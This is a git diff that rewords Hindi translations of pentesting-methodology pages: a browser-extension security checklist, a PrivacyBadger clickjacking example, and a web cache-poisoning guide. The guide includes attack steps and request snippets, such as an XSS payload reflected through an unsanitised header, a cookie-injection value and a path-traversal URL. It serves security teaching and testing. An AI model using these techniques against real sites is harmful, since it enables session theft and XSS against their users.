स्थापित एक्सटेंशन होते हैं, आमतौर पर उनके सोर्स कोड के साथ एक पठनीय प्रारूप में। एक्सटेंशनों की पहचान करने के लिए, आप उनके IDs को नामों से मैप कर सकते हैं: -- प्रत्येक एक्सटेंशन के IDs देखने के लिए `about:extensions` पृष्ठ पर डेवलपर मोड सक्षम करें। +- `about:extensions` पृष्ठ पर डेवलपर मोड सक्षम करें ताकि आप प्रत्येक एक्सटेंशन के IDs देख सकें। - प्रत्येक एक्सटेंशन के फ़ोल्डर के भीतर, `manifest.json` फ़ाइल में एक पठनीय `name` फ़ील्ड होती है, जो आपको एक्सटेंशन की पहचान करने में मदद करती है। ### फ़ाइल आर्काइवर या अनपैकर का उपयोग करें -Chrome Web Store पर जाएँ और एक्सटेंशन डाउनलोड करें। फ़ाइल का `.crx` एक्सटेंशन होगा। फ़ाइल के एक्सटेंशन को `.crx` से `.zip` में बदलें। ZIP फ़ाइल की सामग्री निकालने के लिए किसी भी फ़ाइल आर्काइवर (जैसे WinRAR, 7-Zip, आदि) का उपयोग करें। +Chrome वेब स्टोर पर जाएँ और एक्सटेंशन डाउनलोड करें। फ़ाइल का `.crx` एक्सटेंशन होगा। फ़ाइल के एक्सटेंशन को `.crx` से `.zip` में बदलें। ZIP फ़ाइल की सामग्री निकालने के लिए किसी भी फ़ाइल आर्काइवर (जैसे WinRAR, 7-Zip, आदि) का उपयोग करें। ### Chrome में डेवलपर मोड का उपयोग करें -Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "Developer mode" सक्षम करें। "Load unpacked extension..." पर क्लिक करें। अपने एक्सटेंशन के डायरेक्टरी पर जाएँ। यह सोर्स कोड डाउनलोड नहीं करता है, लेकिन पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है। +Chrome खोलें और `chrome://extensions/` पर जाएँ। शीर्ष दाएँ कोने में "डेवलपर मोड" सक्षम करें। "लोड अनपैक्ड एक्सटेंशन..." पर क्लिक करें। अपने एक्सटेंशन के निर्देशिका पर जाएँ। यह सोर्स कोड डाउनलोड नहीं करता है, लेकिन यह पहले से डाउनलोड किए गए या विकसित किए गए एक्सटेंशन के कोड को देखने और संशोधित करने के लिए उपयोगी है। ## Chrome एक्सटेंशन मैनिफेस्ट डेटासेट @@ -638,23 +642,23 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt ``` ## सुरक्षा ऑडिट चेकलिस्ट -हालांकि ब्राउज़र एक्सटेंशन का **सीमित हमला सतह** है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं: +हालांकि ब्राउज़र एक्सटेंशन का **सीमित हमला सतह** होता है, उनमें से कुछ में **कमजोरियाँ** या **संभावित सख्ती सुधार** हो सकते हैं। निम्नलिखित सबसे सामान्य हैं: -- [ ] जितना संभव हो **`permissions`** की मांग को **सीमित** करें -- [ ] जितना संभव हो **`host_permissions`** को **सीमित** करें +- [ ] **अनुरोध की गई** **`permissions`** को यथासंभव सीमित करें +- [ ] **`host_permissions`** को यथासंभव सीमित करें - [ ] एक **मजबूत** **`content_security_policy`** का उपयोग करें -- [ ] जितना संभव हो **`externally_connectable`** को **सीमित** करें, यदि कोई आवश्यकता नहीं है और संभव है, तो इसे डिफ़ॉल्ट रूप से न छोड़ें, **`{}`** निर्दिष्ट करें +- [ ] **`externally_connectable`** को यथासंभव सीमित करें, यदि कोई आवश्यकता नहीं है और संभव है, तो इसे डिफ़ॉल्ट रूप से न छोड़ें, **`{}`** निर्दिष्ट करें - [ ] यदि यहां **XSS या अधिग्रहण के लिए संवेदनशील URL** का उल्लेख किया गया है, तो एक हमलावर **पृष्ठभूमि स्क्रिप्ट को सीधे संदेश भेजने** में सक्षम होगा। बहुत शक्तिशाली बायपास। -- [ ] जितना संभव हो **`web_accessible_resources`** को **सीमित** करें, यदि संभव हो तो खाली भी। +- [ ] **`web_accessible_resources`** को यथासंभव सीमित करें, यदि संभव हो तो खाली भी। - [ ] यदि **`web_accessible_resources`** कोई नहीं है, तो [**ClickJacking**](browext-clickjacking.md) के लिए जांचें - [ ] यदि **एक्सटेंशन** से **वेब पृष्ठ** में कोई **संवाद** होता है, तो [**XSS**](browext-xss-example.md) **कमजोरियों** के लिए जांचें जो संवाद में उत्पन्न होती हैं। - [ ] यदि पोस्ट संदेशों का उपयोग किया जाता है, तो [**पोस्ट संदेश कमजोरियों**](../postmessage-vulnerabilities/index.html)** के लिए जांचें।** -- [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरण** तक पहुंचती है, तो जांचें कि वे **XSS** को **परिचयित** नहीं कर रही हैं यदि वे **संशोधित** हो जाती हैं +- [ ] यदि **कंटेंट स्क्रिप्ट DOM विवरणों** तक पहुंचती है, तो जांचें कि वे **XSS** को **परिवर्तित** करने पर **परिचय नहीं कर रही हैं** यदि वे वेब द्वारा **संशोधित** की जाती हैं - [ ] यदि यह संवाद **कंटेंट स्क्रिप्ट -> पृष्ठभूमि स्क्रिप्ट संवाद** में भी शामिल है, तो विशेष जोर दें -- [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संवाद कर रही है, तो जांचें कि संवाद सुरक्षित और साफ है -- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन के **कोड** के अंदर नहीं रखा जाना चाहिए** -- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन की **मेमोरी** के अंदर नहीं रखा जाना चाहिए** -- [ ] **संवेदनशील जानकारी को **फाइल सिस्टम में बिना सुरक्षा** के नहीं रखा जाना चाहिए** +- [ ] यदि पृष्ठभूमि स्क्रिप्ट **नेटिव मैसेजिंग** के माध्यम से संवाद कर रही है, तो जांचें कि संवाद सुरक्षित और स्वच्छ है +- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **कोड** के अंदर **नहीं रखा जाना चाहिए** +- [ ] **संवेदनशील जानकारी को ब्राउज़र एक्सटेंशन** **मेमोरी** के अंदर **नहीं रखा जाना चाहिए** +- [ ] **संवेदनशील जानकारी को बिना सुरक्षा के फ़ाइल प्रणाली** के अंदर **नहीं रखा जाना चाहिए** ## ब्राउज़र एक्सटेंशन जोखिम @@ -668,19 +672,19 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt - [**manifest.json**](https://developer.chrome.com/extensions/manifest) **दर्शक**: बस एक्सटेंशन के मैनिफेस्ट का JSON-प्रेटीफाइड संस्करण प्रदर्शित करता है। - **फिंगरप्रिंट विश्लेषण**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) का पता लगाना और क्रोम एक्सटेंशन फिंगरप्रिंटिंग जावास्क्रिप्ट का स्वचालित निर्माण। - **संभावित क्लिकजैकिंग विश्लेषण**: एक्सटेंशन HTML पृष्ठों का पता लगाना जिनमें [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) निर्देश सेट है। ये पृष्ठों के उद्देश्य के आधार पर क्लिकजैकिंग के लिए संभावित रूप से संवेदनशील हो सकते हैं। -- **अनुमति चेतावनी दर्शक**: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएगी। -- **खतरनाक कार्य**: खतरनाक कार्यों का स्थान दिखाता है जिन्हें संभावित रूप से एक हमलावर द्वारा शोषित किया जा सकता है (जैसे, innerHTML, chrome.tabs.executeScript जैसे कार्य)। -- **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन के सतह क्षेत्र को समझने और एक्सटेंशन को दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है। -- खतरनाक कार्यों और प्रवेश बिंदुओं के स्कैनर के लिए उनके उत्पन्न अलर्ट के लिए निम्नलिखित हैं: -- संबंधित कोड स्निपेट और वह पंक्ति जिसने अलर्ट का कारण बना। +- **अनुमति चेतावनी** दर्शक: जो सभी क्रोम अनुमति प्रॉम्प्ट चेतावनियों की सूची दिखाता है जो उपयोगकर्ता द्वारा एक्सटेंशन स्थापित करने का प्रयास करते समय प्रदर्शित की जाएंगी। +- **खतरनाक फ़ंक्शन**: खतरनाक फ़ंक्शनों का स्थान दिखाता है जिन्हें संभावित रूप से एक हमलावर द्वारा शोषित किया जा सकता है (जैसे innerHTML, chrome.tabs.executeScript जैसे फ़ंक्शन)। +- **प्रवेश बिंदु**: दिखाता है कि एक्सटेंशन उपयोगकर्ता/बाहरी इनपुट को कहां लेता है। यह एक्सटेंशन के सतह क्षेत्र को समझने और एक्सटेंशन में दुर्भावनापूर्ण रूप से तैयार किए गए डेटा भेजने के संभावित बिंदुओं की तलाश करने के लिए उपयोगी है। +- खतरनाक फ़ंक्शन और प्रवेश बिंदु स्कैनर के लिए उनके उत्पन्न अलर्ट में निम्नलिखित शामिल हैं: +- अलर्ट का कारण बनने वाला प्रासंगिक कोड स्निपेट और पंक्ति। - समस्या का विवरण। - कोड वाले पूर्ण स्रोत फ़ाइल को देखने के लिए "View File" बटन। -- अलर्ट की गई फ़ाइल का पथ। -- अलर्ट की गई फ़ाइल का पूर्ण क्रोम एक्सटेंशन URI। +- अलर्ट किए गए फ़ाइल का पथ। +- अलर्ट किए गए फ़ाइल का पूर्ण क्रोम एक्सटेंशन URI। - यह किस प्रकार की फ़ाइल है, जैसे कि पृष्ठभूमि पृष्ठ स्क्रिप्ट, सामग्री स्क्रिप्ट, ब्राउज़र क्रिया, आदि। - यदि संवेदनशील पंक्ति एक जावास्क्रिप्ट फ़ाइल में है, तो यह उन सभी पृष्ठों के पथ दिखाता है जहां इसे शामिल किया गया है, साथ ही इन पृष्ठों का प्रकार और [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) स्थिति। -- **कंटेंट सुरक्षा नीति (CSP) विश्लेषक और बायपास चेक**: यह आपके एक्सटेंशन की CSP में कमजोरियों को उजागर करेगा और आपके CSP को व्हाइटलिस्टेड CDNs आदि के कारण बायपास करने के संभावित तरीकों को भी उजागर करेगा। -- **ज्ञात कमजोर पुस्तकालय**: यह ज्ञात-कमजोर जावास्क्रिप्ट पुस्तकालयों के किसी भी उपयोग की जांच के लिए [Retire.js](https://retirejs.github.io/retire.js/) का उपयोग करता है। +- **कंटेंट सुरक्षा नीति (CSP) विश्लेषक और बायपास चेक**: यह आपके एक्सटेंशन की CSP में कमजोरियों को उजागर करेगा और यह भी किसी भी संभावित तरीकों को उजागर करेगा जिससे आप अपनी CSP को व्हाइटलिस्टेड CDNs आदि के कारण बायपास कर सकते हैं। +- **ज्ञात कमजोर पुस्तकालय**: यह [Retire.js](https://retirejs.github.io/retire.js/) का उपयोग करता है ताकि ज्ञात-कमजोर जावास्क्रिप्ट पुस्तकालयों के किसी भी उपयोग की जांच की जा सके। - एक्सटेंशन और स्वरूपित संस्करण डाउनलोड करें। - मूल एक्सटेंशन डाउनलोड करें। - एक्सटेंशन का एक सुंदर संस्करण डाउनलोड करें (स्वचालित रूप से प्रेटीफाइड HTML और जावास्क्रिप्ट)। @@ -689,7 +693,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt ### [Neto](https://github.com/elevenpaths/neto) -प्रोजेक्ट Neto एक Python 3 पैकेज है जिसे फ़ायरफ़ॉक्स और क्रोम जैसे प्रसिद्ध ब्राउज़रों के लिए ब्राउज़र प्लगइन्स और एक्सटेंशनों की छिपी हुई विशेषताओं का विश्लेषण और अनरवेल करने के लिए तैयार किया गया है। यह `manifest.json`, स्थानीयकरण फ़ोल्डरों या जावास्क्रिप्ट और HTML स्रोत फ़ाइलों जैसे प्रासंगिक संसाधनों से इन विशेषताओं को निकालने के लिए पैक किए गए फ़ाइलों को अनज़िप करने की प्रक्रिया को स्वचालित करता है। +प्रोजेक्ट Neto एक Python 3 पैकेज है जिसे फ़ायरफ़ॉक्स और क्रोम जैसे प्रसिद्ध ब्राउज़रों के लिए ब्राउज़र प्लगइन्स और एक्सटेंशनों की छिपी हुई विशेषताओं का विश्लेषण और अनावरण करने के लिए तैयार किया गया है। यह `manifest.json`, स्थानीयकरण फ़ोल्डरों या जावास्क्रिप्ट और HTML स्रोत फ़ाइलों जैसे प्रासंगिक संसाधनों से इन विशेषताओं को निकालने के लिए पैकेज किए गए फ़ाइलों को अनज़िप करने की प्रक्रिया को स्वचालित करता है। ## संदर्भ diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index c5d6e357c..91c82868f 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -11,14 +11,14 @@ ../clickjacking.md {{#endref}} -एक्सटेंशन में फ़ाइल **`manifest.json`** होती है और उस JSON फ़ाइल में एक फ़ील्ड `web_accessible_resources` है। यहाँ [Chrome दस्तावेज़ों](https://developer.chrome.com/extensions/manifest/web_accessible_resources) में इसके बारे में क्या कहा गया है: +एक्सटेंशन में **`manifest.json`** फ़ाइल होती है और उस JSON फ़ाइल में `web_accessible_resources` नामक एक फ़ील्ड होती है। इसके बारे में [Chrome दस्तावेज़](https://developer.chrome.com/extensions/manifest/web_accessible_resources) में कहा गया है: -> ये संसाधन फिर एक वेबपृष्ठ में URL **`chrome-extension://[PACKAGE ID]/[PATH]`** के माध्यम से उपलब्ध होंगे, जिसे **`extension.getURL method`** के साथ उत्पन्न किया जा सकता है। अनुमति प्राप्त संसाधन उचित CORS हेडर के साथ परोसे जाते हैं, इसलिए वे XHR जैसे तंत्रों के माध्यम से उपलब्ध होते हैं।[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) +> ये संसाधन फिर एक वेबपृष्ठ में URL **`chrome-extension://[PACKAGE ID]/[PATH]`** के माध्यम से उपलब्ध होंगे, जिसे **`extension.getURL method`** के साथ उत्पन्न किया जा सकता है। Allowlisted संसाधनों को उचित CORS हेडर के साथ परोसा जाता है, इसलिए वे XHR जैसे तंत्रों के माध्यम से उपलब्ध होते हैं।[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1) एक ब्राउज़र एक्सटेंशन में **`web_accessible_resources`** केवल वेब के माध्यम से ही नहीं, बल्कि एक्सटेंशन के अंतर्निहित विशेषाधिकारों के साथ भी कार्य करते हैं। इसका मतलब है कि उनके पास निम्नलिखित करने की क्षमता है: - एक्सटेंशन की स्थिति बदलना -- अतिरिक्त संसाधन लोड करना +- अतिरिक्त संसाधनों को लोड करना - ब्राउज़र के साथ एक निश्चित हद तक बातचीत करना हालांकि, यह सुविधा एक सुरक्षा जोखिम प्रस्तुत करती है। यदि **`web_accessible_resources`** के भीतर कोई संसाधन महत्वपूर्ण कार्यक्षमता रखता है, तो एक हमलावर संभावित रूप से इस संसाधन को एक बाहरी वेब पृष्ठ में एम्बेड कर सकता है। इस पृष्ठ पर जाने वाले अनजान उपयोगकर्ता अनजाने में इस एम्बेडेड संसाधन को सक्रिय कर सकते हैं। ऐसी सक्रियता अनपेक्षित परिणामों का कारण बन सकती है, जो एक्सटेंशन के संसाधनों की अनुमतियों और क्षमताओं पर निर्भर करती है। @@ -32,7 +32,7 @@ "icons/*" ] ``` -यह कॉन्फ़िगरेशन एक संभावित सुरक्षा समस्या की ओर ले गया। विशेष रूप से, `skin/popup.html` फ़ाइल, जो ब्राउज़र में PrivacyBadger आइकन के साथ इंटरैक्शन पर रेंडर होती है, को एक `iframe` के भीतर एम्बेड किया जा सकता है। इस एम्बेडिंग का उपयोग उपयोगकर्ताओं को "Disable PrivacyBadger for this Website" पर अनजाने में क्लिक करने के लिए धोखा देने के लिए किया जा सकता है। ऐसा करने से उपयोगकर्ता की गोपनीयता से समझौता होगा क्योंकि PrivacyBadger सुरक्षा को निष्क्रिय कर दिया जाएगा और संभावित रूप से उपयोगकर्ता को बढ़ी हुई ट्रैकिंग का सामना करना पड़ेगा। इस एक्सप्लॉइट का एक दृश्य प्रदर्शन एक ClickJacking वीडियो उदाहरण में देखा जा सकता है जो [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) पर प्रदान किया गया है। +इस कॉन्फ़िगरेशन ने एक संभावित सुरक्षा समस्या को जन्म दिया। विशेष रूप से, `skin/popup.html` फ़ाइल, जो ब्राउज़र में PrivacyBadger आइकन के साथ इंटरैक्शन पर रेंडर होती है, को एक `iframe` के भीतर एम्बेड किया जा सकता है। इस एम्बेडिंग का उपयोग उपयोगकर्ताओं को "Disable PrivacyBadger for this Website" पर अनजाने में क्लिक करने के लिए धोखा देने के लिए किया जा सकता है। ऐसा करने से उपयोगकर्ता की गोपनीयता से समझौता होगा क्योंकि PrivacyBadger सुरक्षा को निष्क्रिय कर दिया जाएगा और संभावित रूप से उपयोगकर्ता को बढ़ी हुई ट्रैकिंग का सामना करना पड़ेगा। इस एक्सप्लॉइट का एक दृश्य प्रदर्शन एक ClickJacking वीडियो उदाहरण में देखा जा सकता है जो [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) पर प्रदान किया गया है। इस कमजोरियों को संबोधित करने के लिए, एक सीधा समाधान लागू किया गया: `web_accessible_resources` की सूची से `/skin/*` को हटा दिया गया। यह परिवर्तन प्रभावी रूप से जोखिम को कम करता है यह सुनिश्चित करके कि `skin/` निर्देशिका की सामग्री को वेब-एक्सेसिबल संसाधनों के माध्यम से एक्सेस या हेरफेर नहीं किया जा सकता। @@ -75,7 +75,7 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html"> ``` ## Metamask उदाहरण -A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). इस मामले में, Metamask ने इस कमजोरी को ठीक किया यह सुनिश्चित करके कि इसे एक्सेस करने के लिए उपयोग किया जाने वाला प्रोटोकॉल **`https:`** या **`http:`** था (उदाहरण के लिए **`chrome:`** नहीं): +A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). इस मामले में, Metamask ने इस कमजोरी को ठीक किया है यह सुनिश्चित करके कि इसे एक्सेस करने के लिए उपयोग किया गया प्रोटोकॉल **`https:`** या **`http:`** था (उदाहरण के लिए **`chrome:`** नहीं):
@@ -85,6 +85,7 @@ A [**blog post about a ClickJacking in metamask can be found here**](https://slo Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability: + {{#ref}} browext-xss-example.md {{#endref}} diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index 3732335e0..0b25007a1 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -13,22 +13,23 @@ कैश पॉइज़निंग का उद्देश्य क्लाइंट-साइड कैश को इस तरह से हेरफेर करना है कि क्लाइंट अप्रत्याशित, आंशिक, या हमलावर के नियंत्रण में संसाधनों को लोड करने के लिए मजबूर हों। प्रभाव की सीमा प्रभावित पृष्ठ की लोकप्रियता पर निर्भर करती है, क्योंकि दूषित प्रतिक्रिया केवल उन उपयोगकर्ताओं को परोसी जाती है जो कैश संदूषण के दौरान पृष्ठ पर जाते हैं। -कैश पॉइज़निंग हमले का कार्यान्वयन कई चरणों में होता है: +कैश पॉइज़निंग हमले का निष्पादन कई चरणों में होता है: 1. **अनकीड इनपुट की पहचान**: ये ऐसे पैरामीटर हैं जो, हालांकि कैश में अनुरोध के लिए आवश्यक नहीं हैं, सर्वर द्वारा लौटाई गई प्रतिक्रिया को बदल सकते हैं। इन इनपुट की पहचान करना महत्वपूर्ण है क्योंकि इन्हें कैश को हेरफेर करने के लिए उपयोग किया जा सकता है। -2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटरों का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो। -3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, कैश संदूषित होने के दौरान प्रभावित पृष्ठ तक पहुंचने वाला कोई भी उपयोगकर्ता दूषित प्रतिक्रिया प्राप्त करेगा। +2. **अनकीड इनपुट का शोषण**: अनकीड इनपुट की पहचान करने के बाद, अगला चरण यह पता लगाना है कि इन पैरामीटर का दुरुपयोग कैसे किया जाए ताकि सर्वर की प्रतिक्रिया को इस तरह से संशोधित किया जा सके कि हमलावर को लाभ हो। +3. **सुनिश्चित करना कि दूषित प्रतिक्रिया कैश में है**: अंतिम चरण यह सुनिश्चित करना है कि हेरफेर की गई प्रतिक्रिया कैश में स्टोर हो। इस तरह, प्रभावित पृष्ठ को एक्सेस करने वाला कोई भी उपयोगकर्ता जब कैश दूषित हो, तो दूषित प्रतिक्रिया प्राप्त करेगा। ### Discovery: Check HTTP headers -आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर इस बात का संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडरों पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +आमतौर पर, जब एक प्रतिक्रिया **कैश में स्टोर की गई** होती है, तो एक **हेडर ऐसा संकेत देता है**, आप इस पोस्ट में देख सकते हैं कि आपको किन हेडर पर ध्यान देना चाहिए: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). ### Discovery: Caching error codes -यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ उत्तर दिया जाना चाहिए। फिर सामान्य रूप से अनुरोध तक पहुंचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह कमजोर है (और आप यहां तक कि DoS भी कर सकते हैं)। +यदि आप सोच रहे हैं कि प्रतिक्रिया कैश में स्टोर की जा रही है, तो आप **खराब हेडर के साथ अनुरोध भेजने** की कोशिश कर सकते हैं, जिसे **स्थिति कोड 400** के साथ उत्तर दिया जाना चाहिए। फिर सामान्य रूप से अनुरोध तक पहुँचने की कोशिश करें और यदि **प्रतिक्रिया 400 स्थिति कोड है**, तो आप जानते हैं कि यह संवेदनशील है (और आप यहां तक कि DoS भी कर सकते हैं)। आप अधिक विकल्प पा सकते हैं: + {{#ref}} cache-poisoning-to-dos.md {{#endref}} @@ -41,28 +42,28 @@ cache-poisoning-to-dos.md ```html ``` -### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करें +### बैक-एंड सर्वर से हानिकारक प्रतिक्रिया प्राप्त करना पैरामीटर/हेडर की पहचान करने के बाद, यह जांचें कि इसे **सैनिटाइज** कैसे किया जा रहा है और यह **कहाँ** **प्रतिबिंबित** हो रहा है या हेडर से प्रतिक्रिया को प्रभावित कर रहा है। क्या आप इसे किसी भी तरह से दुरुपयोग कर सकते हैं (एक XSS प्रदर्शन करें या एक JS कोड लोड करें जिसे आप नियंत्रित करते हैं? एक DoS प्रदर्शन करें?...) -### प्रतिक्रिया को कैश करें +### प्रतिक्रिया को कैश करना -एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका **दुरुपयोग** करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करने की आवश्यकता हो सकती है। +एक बार जब आप उस **पृष्ठ** की **पहचान** कर लेते हैं जिसे दुरुपयोग किया जा सकता है, किस **पैरामीटर**/**हेडर** का उपयोग करना है और **कैसे** इसका **दुरुपयोग** करना है, तो आपको पृष्ठ को कैश करना होगा। जिस संसाधन को आप कैश में प्राप्त करने की कोशिश कर रहे हैं, उसके आधार पर इसमें कुछ समय लग सकता है, आपको कई सेकंड तक प्रयास करना पड़ सकता है। प्रतिक्रिया में **`X-Cache`** हेडर बहुत उपयोगी हो सकता है क्योंकि इसमें **`miss`** का मान हो सकता है जब अनुरोध कैश नहीं किया गया था और **`hit`** का मान जब यह कैश किया गया है।\ हेडर **`Cache-Control`** भी जानने के लिए दिलचस्प है कि क्या कोई संसाधन कैश किया जा रहा है और अगली बार कब संसाधन फिर से कैश किया जाएगा: `Cache-Control: public, max-age=1800` -एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **कैश कुंजी** के भाग के रूप में **संकेतित** करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः अनकुंजीकृत हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के शिकार का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है। +एक और दिलचस्प हेडर **`Vary`** है। यह हेडर अक्सर **अतिरिक्त हेडर्स** को **कैश कुंजी** के हिस्से के रूप में **संकेतित** करने के लिए उपयोग किया जाता है, भले ही वे सामान्यतः कुंजीबद्ध न हों। इसलिए, यदि उपयोगकर्ता उस लक्ष्य के शिकार का `User-Agent` जानता है, तो वह उस विशेष `User-Agent` का उपयोग करने वाले उपयोगकर्ताओं के लिए कैश को विषाक्त कर सकता है। कैश से संबंधित एक और हेडर **`Age`** है। यह परिभाषित करता है कि वस्तु प्रॉक्सी कैश में कितने सेकंड से है। एक अनुरोध को कैश करते समय, आप जिन हेडर्स का उपयोग करते हैं, उनके साथ **सावधान रहें** क्योंकि उनमें से कुछ **अनपेक्षित रूप से** **कुंजीबद्ध** के रूप में **उपयोग** किए जा सकते हैं और **शिकार को उसी हेडर का उपयोग करना होगा**। हमेशा **विभिन्न ब्राउज़रों** के साथ कैश पॉइज़निंग का **परीक्षण** करें यह जांचने के लिए कि यह काम कर रहा है या नहीं। -## शोषण उदाहरण +## शोषण के उदाहरण ### सबसे आसान उदाहरण -एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप से प्रतिबिंबित किया जा रहा है।\ +एक हेडर जैसे `X-Forwarded-For` को प्रतिक्रिया में असैनिटाइज्ड रूप में प्रतिबिंबित किया जा रहा है।\ आप एक बुनियादी XSS पेलोड भेज सकते हैं और कैश को विषाक्त कर सकते हैं ताकि जो कोई भी पृष्ठ तक पहुँचता है वह XSS हो जाएगा: ```html GET /en?region=uk HTTP/1.1 @@ -79,7 +80,7 @@ cache-poisoning-to-dos.md ### CDNs के माध्यम से कैश विषाक्तता -**[इस लेख](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** में निम्नलिखित सरल परिदृश्य समझाया गया है: +**[इस लेख](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** में निम्नलिखित सरल परिदृश्य को समझाया गया है: - CDN `/share/` के तहत किसी भी चीज़ को कैश करेगा - CDN `%2F..%2F` को डिकोड या सामान्यीकृत नहीं करेगा, इसलिए, इसका उपयोग **अन्य संवेदनशील स्थानों तक पहुँचने के लिए पथ यात्रा के रूप में किया जा सकता है जो कैश किए जाएंगे** जैसे `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` @@ -87,7 +88,7 @@ cache-poisoning-to-dos.md ### कुकी-हैंडलिंग कमजोरियों का शोषण करने के लिए वेब कैश विषाक्तता का उपयोग करना -कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS उत्पन्न कर सकते हैं, तो आप उन कई क्लाइंट्स में XSS का शोषण करने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं। +कुकीज़ को एक पृष्ठ की प्रतिक्रिया पर भी परिलक्षित किया जा सकता है। यदि आप इसका दुरुपयोग करके उदाहरण के लिए XSS का कारण बन सकते हैं, तो आप उन कई क्लाइंट्स में XSS का शोषण करने में सक्षम हो सकते हैं जो दुर्भावनापूर्ण कैश प्रतिक्रिया को लोड करते हैं। ```html GET / HTTP/1.1 Host: vulnerable.com @@ -99,6 +100,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" जांचें: + {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} @@ -109,13 +111,14 @@ cache-poisoning-via-url-discrepancies.md यह भी बेहतर तरीके से समझाया गया है: + {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} ### वेब कैश विषाक्तता कमजोरियों का शोषण करने के लिए कई हेडर का उपयोग करना -कभी-कभी आपको **कैश का दुरुपयोग करने के लिए कई बिना कुंजी वाले इनपुट का शोषण** करने की आवश्यकता होगी। उदाहरण के लिए, आप एक **ओपन रीडायरेक्ट** पा सकते हैं यदि आप `X-Forwarded-Host` को एक डोमेन पर सेट करते हैं जो आपके द्वारा नियंत्रित है और `X-Forwarded-Scheme` को `http` पर 